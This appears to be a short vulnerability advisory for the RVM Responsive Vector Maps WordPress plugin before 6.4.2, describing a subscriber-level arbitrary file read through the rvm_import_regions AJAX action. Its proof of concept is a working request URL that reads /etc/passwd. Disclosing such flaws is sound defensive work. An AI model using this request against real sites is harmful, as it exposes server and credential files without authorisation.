RVM - Responsive Vector Maps < 6.4.2 - Subscriber+ Arbitrary File Read

The plugin does not have proper authorisation, CSRF checks and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user, such as subscriber, to read arbitrary files on the web server

PoC

As a subscriber, open https://example.com/wp-admin/admin-ajax.php?action=rvm_import_regions&amp;nonce;=5&amp;rvm;_mbe_post_id=1&amp;rvm;_upload_regions_file_path=/etc/passwd and view the source to get the data